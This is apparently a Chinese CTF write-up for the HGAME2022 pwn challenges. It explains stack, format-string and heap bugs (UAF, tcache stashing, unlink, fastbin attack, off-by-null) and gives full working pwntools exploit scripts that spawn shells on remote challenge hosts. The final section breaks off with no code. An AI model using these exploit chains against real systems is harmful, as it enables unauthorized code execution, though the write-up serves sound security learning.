HGAME2022 Pwn wp

pwn学习

week1

enter_the_pwn_land

栈溢出,rop

​ 栈溢出时要注意索引 i 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'

#r = process("./a.out")
r = remote("chuj.top",31098)
csu_end_addr = 0x401306
csu_front_addr = 0x4012F0
file = ELF('./a.out')
puts_got = file.got['puts']
puts_plt = file.plt['puts']

main_addr = 0x4011B6
libc = ELF('./libc-2.31.so')
pop_rdi = 0x401313

payload = "a"*44 + p32(44)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(payload)
r.recvuntil("\n")
leak_addr = u64(r.recv(6).ljust(8,'\x00'))
log.success(hex(leak_addr))
libc_base = leak_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh = libc_base+next(libc.search("/bin/sh\x00"))
payload = "a"*44+p32(44)+p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(0x40101a)+p64(system_addr)
r.sendline(payload)
r.interactive()

enter_the_evil_pwn_land

https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary

​ 跟上一题相似,同样可以栈溢出,但是开了 canary 保护。可溢出尺寸较大,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过

fsbase 可以查看 TLS 地址,fs:28h 存的是 canaryrop 过程与上一题相似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.log_level='debug'

#r = process('./a.out')
r=remote("chuj.top",37372)
libc = ELF('./libc-2.31.so')
f = ELF('./a.out')

pop_rdi = 0x401363
puts_got = f.got['puts']
puts_plt = f.plt['puts']
canary = 0xcc432deb70d2400
fake_rbp=0x2
ret = 0x40101a
test_thread = 0x4011d6
payload = "a"*40+p64(canary)+p64(fake_rbp)
payload += p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(test_thread)
payload += (0x838-8*5)*'\x00'+p64(canary) #覆盖 tls 的 canary

r.sendline(payload)
r.recvuntil("\n")
leak_addr = u64(r.recv(6).ljust(8,'\x00'))
log.success(hex(leak_addr))
lbase = leak_addr-libc.sym['puts']
system_addr = lbase+libc.sym['system']
bin_sh = lbase+next(libc.search('/bin/sh\x00'))

#gdb.attach(r)
one_gadget = 0xe6c81
get_shell = lbase+one_gadget
payload2 = "a"*40+p64(canary)+p64(fake_rbp)
payload2 += p64(get_shell)+'\x00'*0x100
payload2 += (0x818-len(payload))*'\x00'+p64(canary)
r.sendline(payload2)
r.interactive()

oldfashion_orw

思路

​ 有符号数转无符号数,输 -1 就可以溢出

​ 利用限制了沙箱机制禁用了几个函数,open 函数内部会调用 openat ,禁用 openat 后就不能用 open ,但是通过 syscall 构造出的 open 可以使用。flag 文件名是随机的,不能直接通过 orw 读出 flag,可以先利用 getdents64 读取文件夹内容来获得随机的 flag 文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
int getdents64(unsigned int fd, struct linux_dirent64 *dirp,
unsigned int count);

struct linux_dirent64 {
ino64_t d_ino; /* 64-bit inode number */
off64_t d_off; /* 64-bit offset to next structure */
unsigned short d_reclen; /* Size of this dirent */
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */
};

int open(const char *pathname, int flags, mode_t mode);
// flags 为 0x10000 是打开文件夹

​ 得到随机 flag 文件名后再利用 orw 读 flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

from pwn import *
context.log_level='debug'

#r=process('./vuln')
r=remote("chuj.top",43808)
libc = ELF('./libc-2.31.so')
f = ELF('./vuln')
write_got = f.got['write']
write_plt = f.plt['write']
read_got = f.got['read']

csu_end_addr = 0x40143A
csu_front_addr = 0x401420
main_addr = 0x401311
ret = 0x40101a
def ret_csu(rbx, rbp, r12, r13, r14, r15, last):
payload = 'a' * 0x30 + p64(0)
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
r.send(payload)
sleep(1)

r.recvuntil("size?\n")
r.sendline('-1')
ret_csu(0,1,1,write_got,6,write_got,main_addr)
r.recvuntil("!\n")
leak_addr = u64(r.recv(6).ljust(8,'\x00'))
log.success(hex(leak_addr))
lbase = leak_addr-libc.sym['write']
getdents_addr = lbase+libc.sym['getdents64']
write_addr = lbase+libc.sym['write']
read_addr = lbase+libc.sym['read']
pop_rsi = lbase+0x27529
pop_rdi = 0x401443
pop_rdx_rbx = lbase+0x162866
syscall_ret = lbase+0x66229
pop_rax = lbase+0x4a550
sendfile_addr = lbase+libc.sym['sendfile']

r.recvuntil("size?\n")
r.sendline('-1')
ret_csu(0,1,0,0x404088,3,read_got,main_addr) #read(0,addr,7)
r.send("./\x00")

r.recvuntil("size?\n")
r.sendline('-1')

payload = 'a'*0x30+p64(0)+p64(pop_rdi)+p64(0x404088)+p64(pop_rsi)+p64(0x10000)+p64(pop_rdx_rbx)+p64(0)+p64(0)
payload += p64(pop_rax)+p64(2)+p64(ret)+p64(syscall_ret) #open("./",0x10000,0)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(f.bss()+100)+p64(pop_rdx_rbx)+p64(0xd0)+p64(0)+p64(getdents_addr)
#getdents(3,buf,0x50)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(f.bss()+100)+p64(pop_rdx_rbx)+p64(0xd0)+p64(0)+p64(write_addr)
#write(1,buf,0x50)
payload += p64(main_addr)
r.send(payload)
r.recvuntil('\x30\x00\x08')
file_name = r.recv(24)
log.success("filename:"+file_name)

r.recvuntil("size?\n")
r.sendline('-1')

#open("filename",0,0)
#read(4,buf,0x100)
#write(1,buf,0x100)
payload2 = 'a'*0x30+p64(0)+p64(pop_rdi)+p64(f.bss()+100+0xa3)+p64(pop_rsi)+p64(0x0)+p64(pop_rdx_rbx)+p64(0)+p64(0)
payload2 += p64(pop_rax)+p64(2)+p64(ret)+p64(syscall_ret)+p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(f.bss()+0x100)+p64(pop_rdx_rbx)
payload2 += p64(0x100)+p64(0)+p64(read_addr)
payload2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(f.bss()+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(write_addr)+p64(main_addr)
r.send(payload2)

r.interactive()

ser_per_fa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.log_level='debug'
context.terminal = ['gnome-terminal','-x','zsh','-c']

#r = process('./spfa')
r=remote("chuj.top",45430)
f = ELF('./spfa')
libc = ELF('./libc-2.31.so')

#leak libcbase
#https://blog.csdn.net/chennbnbnb/article/details/104035261 得到栈地址
backd00r_addr = 0x16AA
r.recvuntil("how many datas?\n>> ")
r.sendline('4')
r.recvuntil("nodes?\n>> ")
r.sendline('0')
r.recvuntil("edges?\n>> ")
r.sendline('0')
r.recvuntil("node?\n>> ")
r.sendline('0')
r.recvuntil("to ?\n>> ")
r.sendline(str(-(0xB720 - 0x6F80)/8))

r.recvuntil(" is ")
leak_addr = int(r.recvuntil('\n'))
log.success(hex(leak_addr))
lbase = leak_addr - libc.sym['system']

#leak programme base
r.recvuntil("nodes?\n>> ")
r.sendline('0')
r.recvuntil("edges?\n>> ")
r.sendline('0')
r.recvuntil("node?\n>> ")
r.sendline('0')
r.recvuntil("to ?\n>> ")
r.sendline(str(-(0xB720 - 0x7008)/8))
r.recvuntil(" is ")
pie_addr = int(r.recvuntil('\n'))
spfa_base = pie_addr - 0x7008
log.success("spfa_base:" + hex(spfa_base))

#leak stack_addr
env_addr = lbase + libc.sym['environ']
print(hex(env_addr))
r.recvuntil("nodes?\n>> ")
r.sendline('0')
r.recvuntil("edges?\n>> ")
r.sendline('0')
r.recvuntil("node?\n>> ")
r.sendline('0')
r.recvuntil("to ?\n>> ")
r.sendline(str((env_addr-spfa_base-0xB720)/8))
r.recvuntil(" is ")
stack_addr = int(r.recvuntil('\n'))

stack_ret = stack_addr-0x100
r.recvuntil("nodes?\n>> ")
r.sendline('0')
r.recvuntil("edges?\n>> ")
r.sendline('1')
r.recvuntil('\nformat')

bias = (stack_ret-spfa_base-0xB720)/8
r.sendline("0 "+str(bias)+" "+str(spfa_base+backd00r_addr))
r.recvuntil("node?\n>> ")
r.sendline('0')
r.recvuntil("to ?\n>> ")
r.sendline('0')

r.interactive()

week2

blind

​ proc 文件系统,根据题目提示的 “喷射” 找到 https://xz.aliyun.com/t/7189?page=34

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# coding=utf-8
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
context.log_level = 'debug'
context.arch = "amd64"

sh = remote("chuj.top", 51693)

sh.recvuntil(') == ')
hash_code = sh.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))

charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

sh.sendafter('????> ', proof)

sh.recvuntil("write: ")
write_addr = int(sh.recvuntil("\n"),16)
log.success(hex(write_addr))

libc = LibcSearcher("write",write_addr)
lbase = write_addr - libc.dump("write")
libc_start_main = lbase+libc.dump("__libc_start_main")
log.success(hex(libc_start_main))

sh.recvuntil(">> ")
sh.send("/proc/self/mem")
shellcode = "\x90"*0x2fd0+asm(shellcraft.sh()) #添加 slide code 增加执行 shellcode 的概率
sh.recvuntil(">> ")
sh.send(str(libc_start_main)) #执行完会返回到 libc_start_main
sh.recvuntil(">> ")
sh.sendline(shellcode)
sh.interactive()

echo_sever

​ 堆上的格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from pwnlib.util.iters import mbruteforce

#context.log_level='debug'
#r = process('./echo')
r = remote("chuj.top",52061)
libc = ELF('./libc-2.31.so')
f = ELF('./echo')

def proof_of_work():
r.recvuntil(') == ')
hash_code = r.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))

charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

r.sendafter('????> ', proof)

proof_of_work()
r.recvuntil(">> ")
r.sendline('100')
payload = "%6$p-%13$p"
r.sendline(payload)
rbp = int(r.recvuntil("-").strip('-'),16)
leak_addr = int(r.recvuntil('\n'),16)-243
log.success(hex(leak_addr))
lbase = leak_addr - libc.symbols["__libc_start_main"]
log.success("libc_base:"+hex(lbase))

free_hook = lbase+libc.symbols["__free_hook"]
log.success("libc_free_hook:"+hex(free_hook))

system_addr = lbase+libc.symbols["system"]
log.success("system_addr:"+hex(system_addr))

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((rbp+0x18+2)&0xffff)+"c"+"%6$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((free_hook>>16)&0xffff)+'c'+"%10$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((rbp+0x18)&0xffff)+"c"+"%6$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((free_hook+4)&0xffff)+'c'+"%10$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((system_addr>>32)&0xffff)+'c'+"%13$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((free_hook+2)&0xffff)+'c'+"%10$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((system_addr>>16)&0xffff)+'c'+"%13$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((free_hook)&0xffff)+'c'+"%10$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
payload = "%"+str((system_addr)&0xffff)+'c'+"%13$hn"
r.sendline(payload)

r.recvuntil(">> ")
r.sendline('100')
r.sendline("/bin/sh\x00")

r.recvuntil(">> ")
r.sendline('0')

r.interactive()

oldfashion_note

思路

程序有add,delete,show这几个功能,delete 函数中未将指针置零,存在 UAF 漏洞

首先要利用 show 功能 leak 出 libc 基址,此处用到 Unsorted Bin Leak(首先要填满 tcache 才能通过 free 进入 unsorted bin)

获得 libc 基址后考虑劫持钩子函数 __free_hooksystem,因为题目使用的库版本是 libc-2.31.so 所以 tcachedouble free 会有检测(libc2.29以上的版本),可通过 stash 绕过

tcache相关

当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用 tcache_put。一个 tcache bin 中的最大块数mp_.tcache_count7

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //新增的check字段
} tcache_entry;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_int_free (mstate av, mchunkptr p, int have_lock)
{
size_t tc_idx = csize2tidx (size);

/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely coincidence
before aborting. */
if (__glibc_unlikely (e->key == tcache && tcache)) //check
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a few
cycles, but don't abort. */
}
......

double free 会将 key 字段置为 tcache,无法通过上面的检测

为了绕过这一检测大致有两种方法:

  1. 修改 key 字段
  2. tcache stashing unlink attack

如果程序有 edit 功能的话就可以修改 key 字段来绕过检测,但本题没有提供所以考虑 tcache stashing unlink attack

这种攻击利用的是 tcache bin 有剩余 (数量小于 TCACHE_MAX_BINS ) 时,同大小的 small bin 或 fast bin 会放进 tcache 中,在获取到一个 small bin/fast bin 中的一个 chunk 后如果 tcache 仍有足够空闲位置,会将剩余的 small bin/fast bin 链入 tcache ,在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。当攻击者可以写一个 small bin 的 bk 指针 或 fast bin 的 fd 指针时,其可以在任意地址上写一个 libc 地址

先将相同大小的 tcache 清空,以便分配到 fast bin 的堆块

分配 fast bin 中的堆块,剩下的部分链入 tcache

Unsorted bin leak

​ unsorted bin 结构如下,是循环双向链表

​ 可以看出 show bin2 中的内容就可以获得 main_arena 内的一个地址(要防止与 top chunk 合并),而 main_arena__malloc_hook 固定差 0x10 从而计算得到 libc 基址

fast bin attack

​ 之后重新分配堆块得到 chunk1 ,将其 fd 指针置为 fake chunk 就可以实现任意写

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# coding=utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

#context.log_level = 'debug'
#r = process('./note')
r=remote("chuj.top",51475)
libc = ELF('./libc-2.31.so')

def proof_of_work():
r.recvuntil(') == ')
hash_code = r.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))

charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

r.sendafter('????> ', proof)

def add(idx,size,content):
r.sendlineafter(">> ","1")
r.sendlineafter(">> ",str(idx))
r.sendlineafter(">> ",str(size))
r.sendafter(">> ",content)

def show(idx):
r.sendlineafter(">> ","2")
r.sendafter(">> ",str(idx))

def delete(idx):
r.sendlineafter(">> ","3")
r.sendafter(">> ",str(idx))

proof_of_work()

#unsorted bin leak
for i in range(8): #填满tcache 7 size相同
add(i, 0x80, 'a')

for i in range(7):
delete(i)

add(10,0x10,'protected') #防止合并进top chunk
delete(7)
show(7)

malloc_hook = u64(r.recv(6).ljust(8,'\x00'))-96-0x10
log.success(hex(malloc_hook))
lbase = malloc_hook - libc.symbols["__malloc_hook"]
log.success(hex(lbase))

free_hook = lbase+libc.symbols["__free_hook"]
system_addr = lbase+libc.symbols["system"]

#tcache stashing
for i in range(9): #填满tcache 7 size相同
add(i, 0x20, 'a')

for i in range(7):
delete(i)

delete(7) #fast bin
delete(8)
delete(7)
#gdb.attach(r)

for i in range(7): #清空 tcache
add(i, 0x20, 'a')

add(10, 0x20 , p64(free_hook))
add(11,0x20,'a')
add(11,0x20,'a')
add(12,0x20,p64(system_addr))

add(0,0x20,"/bin/sh\x00")
delete(0)
r.interactive()

week3

changeable_note

思路

​ 存在堆溢出,可以伪造 chunk 实现 unlink,让 notes[1] = &notes[1]-0x18,劫持 freeputs 从而获得 libc 基址,最后再劫持 atoisystem 拿到 shell

chunk1 -> 0
0x31
fake chunk -> 0
0x21
fake fd -> &notes[1]-0x18
fake bk -> &notes[1]-0x10
size检查 0x20
……
chunk2 -> 0x30
prev_inuse 为 0,前一个chunk为 free 状态 0x90

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# coding: utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

context.log_level='debug'
#r = process('./note')
r=remote("chuj.top",52548)
f = ELF('./note')
libc = ELF('./libc-2.23.so')
def proof_of_work():
r.recvuntil(') == ')
hash_code = r.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))

charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

r.sendafter('????> ', proof)

def add(idx,size,content):
r.sendafter(">> ","1")
r.sendafter(">> ",str(idx))
r.sendafter(">> ",str(size))
r.sendafter(">> ",content)

def delete(idx):
r.sendafter(">> ","3")
r.sendafter(">> ",str(idx))

def edit(idx,content):
r.sendafter(">> ","2")
r.sendafter(">> ",str(idx))
r.sendline(content)

proof_of_work()
# unlink
add(0,0x30,'a')
add(1,0x30,'a')
add(2,0x80,'a')
add(3,0x30,'a')

ptr0 = 0x4040C0
payload = p64(0)+p64(0x21)+p64(ptr0+8-0x18)+p64(ptr0+8-0x10)+p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30)+p64(0x90)
edit(1,payload)
delete(2)

payload = 'a'*16+p64(f.got["free"])+p64(f.got["puts"])+p64(0)+p64(f.got["atoi"])
edit(1,payload)
#gdb.attach(r)
edit(0,p64(f.plt["puts"])[0:7]) #8个字节会覆盖下个函数
delete(1)

leak_addr = u64(r.recv(6).ljust(8,'\x00'))
lbase = leak_addr-libc.symbols["puts"]
log.success(hex(lbase))

edit(3,p64(lbase+libc.symbols["system"]))
r.sendafter(">> ","/bin/sh\x00")

r.interactive()

elder_note

思路

https://xz.aliyun.com/t/7490

​ 通过 show 功能实现 unsorted bin leakdelete 中指针未置为0,存在 UAF,可以采用 fastbin attack

fastbin 存在 size 检查,可以利用字节错位绕过 size 域的检测,一般是在 __malloc_hook 附近伪造 chunk (Arbitrary Alloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> p &__malloc_hook 
$1 = (void *(**)(size_t, const void *)) 0x7f40310f6b10 <__malloc_hook>

pwndbg> find_fake_fast 0x7f40310f6b10 0x7f
FAKE CHUNKS
Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7f40310f6aed
prev_size: 0x40310f5260000000
size: 0x7f
fd: 0x4030db7ea0000000
bk: 0x4030db7a7000007f
fd_nextsize: 0x7f
bk_nextsize: 0x00

pwndbg> p /x 0x7f40310f6b10-0x7f40310f6aed
$2 = 0x23

​ 本来之后劫持 __malloc_hookone_gadget 就可以 get shell,但是这里的 one_gadget 都不满足条件,所以要通过 __realloc_hook 来调整栈帧,劫持 __realloc_hookone_gadget

realloc 函数开头的 pushsub rsp,18h 可以调整栈来满足 one_gadget 的使用条件

__realloc_hook__malloc_hook 邻近,可以一次性劫持

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# coding: utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

context.log_level='debug'
#r = process('./note2')
r=remote("chuj.top",52617)
f = ELF('./note2')
libc = ELF('./libc-2.23.so')
def proof_of_work():
r.recvuntil(') == ')
hash_code = r.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))

charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

r.sendafter('????> ', proof)

def add(idx,size,content):
r.sendafter(">> ","1")
r.sendafter(">> ",str(idx))
r.sendafter(">> ",str(size))
r.sendafter(">> ",content)

def delete(idx):
r.sendafter(">> ","3")
r.sendafter(">> ",str(idx))


def show(idx):
r.sendlineafter(">> ","2")
r.sendafter(">> ",str(idx))

proof_of_work()
#unsorted bin leak
add(0,0x80,'a')
add(1,0x10,'a')

delete(0)
show(0)

malloc_hook = u64(r.recv(6).ljust(8,'\x00'))-88-0x10
lbase = malloc_hook-libc.symbols["__malloc_hook"]
log.success(hex(lbase))

#system_addr = lbase+libc.symbols["system"]
one_gadget = lbase+0x4527a
realloc_hook = lbase + libc.symbols['realloc']
log.info("reallock_hook:"+hex(realloc_hook))
log.info("ongadget:"+hex(one_gadget))

#fastbin attack
add(2,0x60,'a')
add(3,0x60,'a')

delete(2)
delete(3)
delete(2)
fake_chunk_addr = malloc_hook-0x23

add(2,0x60,p64(fake_chunk_addr))
add(3,0x60,'a')
add(4,0x60,'a')
payload = "a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+0x10) #realloc调栈帧
add(5,0x60,payload)

#gdb.attach(r)
r.sendafter(">> ","1")
r.sendafter(">> ","6")
r.sendafter(">> ",str(20))

r.interactive()

sized_note

思路

​ add 和 edit 都存在 off-by-null,通过利用可以造成 chunk overlapping ,进而 leak libc 和改写 tcachenext 指针

https://blog.csdn.net/qq_43409582/article/details/109825038

chunk overlapping

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping/#4extendoverlapping

通过 extend 前向 overlapping:改写 chunkprev_size 域和 prev_inuse 域合并堆块,利用了unlink 机制,可以跨越多个堆块进行合并

通过 extend 后向 overlapping:改写 size 域实现 overlapping

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# coding: utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

#context.log_level='debug'
#r = process('./note3')
r=remote("chuj.top",52863)
f = ELF('./note3')
libc = ELF('./libc.so.6')
def proof_of_work():
r.recvuntil(') == ')
hash_code = r.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))

charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')

r.sendafter('????> ', proof)

def add(idx,size,content):
r.sendafter(">> ","1")
r.sendafter(">> ",str(idx))
r.sendafter(">> ",str(size))
r.sendafter(">> ",content)

def show(idx):
r.sendlineafter(">> ","2")
r.sendafter(">> ",str(idx))

def delete(idx):
r.sendafter(">> ","3")
r.sendafter(">> ",str(idx))

def edit(idx,content):
r.sendafter(">> ","4")
r.sendafter(">> ",str(idx))
r.send(content)

proof_of_work()
for i in range(10):
add(i, 0xf8, 'a')

for i in range(7): #填满tcache 7 size相同
delete(i)

add(10,0x20,"protect") #防止合并

delete(7) #unsorted bin chunk0
edit(8,"a"*0xf0+p64(0x100*2)) #chunk overlapping chunk1
delete(9) #chunk2

for i in range(7): #清空tcache
add(i, 0xf8, 'a')

add(10, 0xf8,"a") #chunk0
show(8) #chunk1

malloc_hook = u64(r.recv(6).ljust(8,'\x00'))-96-0x10
lbase = malloc_hook-libc.symbols['__malloc_hook']
system_addr = lbase+libc.symbols['system']
free_hook = lbase+libc.symbols['__free_hook']
log.success(hex(lbase))

#tcache poisoning
add(11, 0xf8,'a') #chunk1
delete(11)
edit(8,p64(free_hook)) #uaf
add(12, 0xf8, 'a')
add(13,0xf8,p64(system_addr))
#gdb.attach(r)

add(14,0xf8,"/bin/sh\x00")
delete(14)

r.interactive()

week4

vector

思路

​ libc 版本 2.31

move_note 函数中存在 vector 迭代器失效的漏洞,vectorresize 操作会改变容器容量,进行扩容时会重新分配内存,那么指向容器的迭代器、指针和引用都会失效,而下面移动的操作会使用已经失效的迭代器,存在 UAF

​ 通过调试可以发现在 move_note 扩容后可以把失效迭代器中的值复制到要 move 到的地方,这样就可以实现 double free,为了绕过 key 检测还是使用 tcache stashing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# tcache stashing
delete(3)
delete(15)
delete(20)

for i in range(5, 12):
add(i, 0x70, 'a')

add(3,0x70,p64(free_hook))
add(12,0x70,"a")
add(13,0x70,"a")
add(14,0x70,"/bin/sh\x00")
add(15,0x70,p64(system_addr))
delete(14)

​ 为了 leak libc 基址要先 malloc 一个较大的堆块,然后 free 进入 unsorted bin 。这时再申请一个较小的堆块,那么 unsorted bin 就会被切割,切割出来的块内有指向 main_arena 内部的指针,就可以得到 libc 基址

https://10-0-0-55.github.io/pwn/unsorted-bin/#leak-heap-libc

1
2
3
4
5
6
7
8
9
10
for i in range(9):         
add(i, 0xf0, 'a')

for i in range(7): #填满tcache 7 size相同
delete(i)

delete(7) #得到 unsorted bin

add(7,0x50,'aaaaaaaa') #切割 unsorted bin
show(7)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# coding: utf-8
from pwn import *
from pwnlib.util.iters import mbruteforce

context.log_level='debug'
#r = process('./vector')
r=remote("chuj.top",53088)
f = ELF('./vector')
libc = ELF('./libc.so.6')
def proof_of_work():
r.recvuntil(') == ')
hash_code = r.recvuntil('\n', drop=True).decode().strip()
log.success('hash_code={},'.format(hash_code))

charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == hash_code, charset, 4, method='fixed')
r.sendafter('????> ', proof)

def add(idx,size,content):
r.sendafter(">> ","1")
r.sendafter(">> ",str(idx))
r.sendafter(">> ",str(size))
r.sendafter(">> ",content)

def show(idx):
r.sendlineafter(">> ","3")
r.sendafter(">> ",str(idx))

def delete(idx):
r.sendafter(">> ","4")
r.sendafter(">> ",str(idx))

def move(idx):
r.sendafter(">> ","5")
r.sendafter(">> ",'0')
r.sendafter(">> ",'0')
r.sendafter(">> ",'1')
r.sendafter(">> ",str(idx))

proof_of_work()
for i in range(9):
add(i, 0xf0, 'a')

for i in range(7): #填满tcache 7 size相同
delete(i)

delete(7) #得到 unsorted bin

add(7,0x50,'aaaaaaaa') #切割 unsorted bin
show(7)

r.recv(8)
malloc_hook = u64(r.recv(6).ljust(8,'\x00')) - 336-0x10
lbase = malloc_hook-libc.symbols["__malloc_hook"]
free_hook = lbase+libc.symbols["__free_hook"]
system_addr = lbase+libc.symbols["system"]
log.success(hex(lbase))

for i in range(1, 14):
add(i, 0x70, 'a')

move(20) #UAF
add(15,0x70,'a')

for i in range(4,13):
delete(i)

# tcache stashing
delete(3)
delete(15)
delete(20)

for i in range(5, 12):
add(i, 0x70, 'a')

add(3,0x70,p64(free_hook))
add(12,0x70,"a")
add(13,0x70,"a")
add(14,0x70,"/bin/sh\x00")
add(15,0x70,p64(system_addr))
delete(14)

r.interactive()

Final

pwn1

思路

  • add 里面没有限制申请堆块的大小,deleteview 里面 index 可以是负的
  • 可以先利用 unsorted bin 泄露 libcheap 基址
  • note 通过 mmap 分配,如果申请一个较大的堆块,根据内存排布可以知道新分配的较大的堆块会在 note 的附近
  • 这样就可以在申请较大堆块的时候写入堆地址,和负数下标的漏洞一起可以导致 double free
  • libc 版本为 2.31,之后的利用就是 tcache stashing 那一套

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
